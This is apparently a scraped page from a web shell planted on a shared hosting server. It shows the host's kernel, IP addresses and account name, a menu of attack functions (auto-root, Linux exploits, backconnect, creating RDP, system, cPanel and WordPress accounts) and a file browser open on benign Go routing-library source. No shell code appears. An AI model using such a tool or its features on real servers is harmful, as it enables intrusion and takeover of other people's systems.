Linux id-dci-web1412.main-hosting.eu 5.14.0-611.20.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 14 06:35:04 EST 2026 x86_64
LiteSpeed
: 2a02:4780:6:1512:0:19fc:adf1:2 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.1.34
u435990001
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
go /
pkg /
mod /
golang.org /
x /
net@v0.20.0 /
route /
[ HOME SHELL ]
Name
Size
Permission
Action
address.go
9.9
KB
-r--r--r--
address_darwin_test.go
1.33
KB
-r--r--r--
address_test.go
2.6
KB
-r--r--r--
binary.go
2.73
KB
-r--r--r--
defs_darwin.go
1.05
KB
-r--r--r--
defs_dragonfly.go
1.31
KB
-r--r--r--
defs_freebsd.go
6.4
KB
-r--r--r--
defs_netbsd.go
820
B
-r--r--r--
defs_openbsd.go
572
B
-r--r--r--
empty.s
255
B
-r--r--r--
interface.go
1.88
KB
-r--r--r--
interface_announce.go
770
B
-r--r--r--
interface_classic.go
1.63
KB
-r--r--r--
interface_freebsd.go
1.94
KB
-r--r--r--
interface_multicast.go
829
B
-r--r--r--
interface_openbsd.go
2.17
KB
-r--r--r--
message.go
1.53
KB
-r--r--r--
message_darwin_test.go
820
B
-r--r--r--
message_freebsd_test.go
2.04
KB
-r--r--r--
message_test.go
5.56
KB
-r--r--r--
route.go
4.23
KB
-r--r--r--
route_classic.go
1.86
KB
-r--r--r--
route_openbsd.go
1.71
KB
-r--r--r--
route_test.go
8.48
KB
-r--r--r--
sys.go
940
B
-r--r--r--
sys_darwin.go
2.78
KB
-r--r--r--
sys_dragonfly.go
2.74
KB
-r--r--r--
sys_freebsd.go
4.66
KB
-r--r--r--
sys_netbsd.go
2.23
KB
-r--r--r--
sys_openbsd.go
2.12
KB
-r--r--r--
syscall.go
396
B
-r--r--r--
zsys_darwin.go
533
B
-r--r--r--
zsys_dragonfly.go
491
B
-r--r--r--
zsys_freebsd_386.go
1.48
KB
-r--r--r--
zsys_freebsd_amd64.go
1.38
KB
-r--r--r--
zsys_freebsd_arm.go
1.38
KB
-r--r--r--
zsys_freebsd_arm64.go
1.38
KB
-r--r--r--
zsys_freebsd_riscv64.go
1.38
KB
-r--r--r--
zsys_netbsd.go
375
B
-r--r--r--
zsys_openbsd.go
223
B
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : route.go
// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd || openbsd // Package route provides basic functions for the manipulation of // packet routing facilities on BSD variants. // // The package supports any version of Darwin, any version of // DragonFly BSD, FreeBSD 7 and above, NetBSD 6 and above, and OpenBSD // 5.6 and above. package route import ( "errors" "os" "syscall" ) var ( errUnsupportedMessage = errors.New("unsupported message") errMessageMismatch = errors.New("message mismatch") errMessageTooShort = errors.New("message too short") errInvalidMessage = errors.New("invalid message") errInvalidAddr = errors.New("invalid address") errShortBuffer = errors.New("short buffer") ) // A RouteMessage represents a message conveying an address prefix, a // nexthop address and an output interface. // // Unlike other messages, this message can be used to query adjacency // information for the given address prefix, to add a new route, and // to delete or modify the existing route from the routing information // base inside the kernel by writing and reading route messages on a // routing socket. // // For the manipulation of routing information, the route message must // contain appropriate fields that include: // // Version = <must be specified> // Type = <must be specified> // Flags = <must be specified> // Index = <must be specified if necessary> // ID = <must be specified> // Seq = <must be specified> // Addrs = <must be specified> // // The Type field specifies a type of manipulation, the Flags field // specifies a class of target information and the Addrs field // specifies target information like the following: // // route.RouteMessage{ // Version: RTM_VERSION, // Type: RTM_GET, // Flags: RTF_UP | RTF_HOST, // ID: uintptr(os.Getpid()), // Seq: 1, // Addrs: []route.Addrs{ // RTAX_DST: &route.Inet4Addr{ ... }, // RTAX_IFP: &route.LinkAddr{ ... }, // RTAX_BRD: &route.Inet4Addr{ ... }, // }, // } // // The values for the above fields depend on the implementation of // each operating system. // // The Err field on a response message contains an error value on the // requested operation. If non-nil, the requested operation is failed. type RouteMessage struct { Version int // message version Type int // message type Flags int // route flags Index int // interface index when attached ID uintptr // sender's identifier; usually process ID Seq int // sequence number Err error // error on requested operation Addrs []Addr // addresses extOff int // offset of header extension raw []byte // raw message } // Marshal returns the binary encoding of m. func (m *RouteMessage) Marshal() ([]byte, error) { return m.marshal() } // A RIBType represents a type of routing information base. type RIBType int const ( RIBTypeRoute RIBType = syscall.NET_RT_DUMP RIBTypeInterface RIBType = syscall.NET_RT_IFLIST ) // FetchRIB fetches a routing information base from the operating // system. // // The provided af must be an address family. // // The provided arg must be a RIBType-specific argument. // When RIBType is related to routes, arg might be a set of route // flags. When RIBType is related to network interfaces, arg might be // an interface index or a set of interface flags. In most cases, zero // means a wildcard. func FetchRIB(af int, typ RIBType, arg int) ([]byte, error) { try := 0 for { try++ mib := [6]int32{syscall.CTL_NET, syscall.AF_ROUTE, 0, int32(af), int32(typ), int32(arg)} n := uintptr(0) if err := sysctl(mib[:], nil, &n, nil, 0); err != nil { return nil, os.NewSyscallError("sysctl", err) } if n == 0 { return nil, nil } b := make([]byte, n) if err := sysctl(mib[:], &b[0], &n, nil, 0); err != nil { // If the sysctl failed because the data got larger // between the two sysctl calls, try a few times // before failing. (golang.org/issue/45736). const maxTries = 3 if err == syscall.ENOMEM && try < maxTries { continue } return nil, os.NewSyscallError("sysctl", err) } return b[:n], nil } }
Close